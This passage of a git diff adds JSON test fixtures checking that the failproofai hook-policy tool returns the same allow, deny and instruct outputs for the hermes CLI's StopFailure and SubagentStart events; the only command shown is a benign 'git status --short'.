"output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..69166187 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ed4dab4d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..48f4526a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b3efd779 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4ff47822 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3e53aa82 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..816ed9c3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2e5d1909 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..459de040 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a3ea9294 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c84f34ee --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..fd007d7b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d832a0e4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5bb51d72 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c65014e7 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..08929442 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1bf40b01 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7672382f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3e5c4fca --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 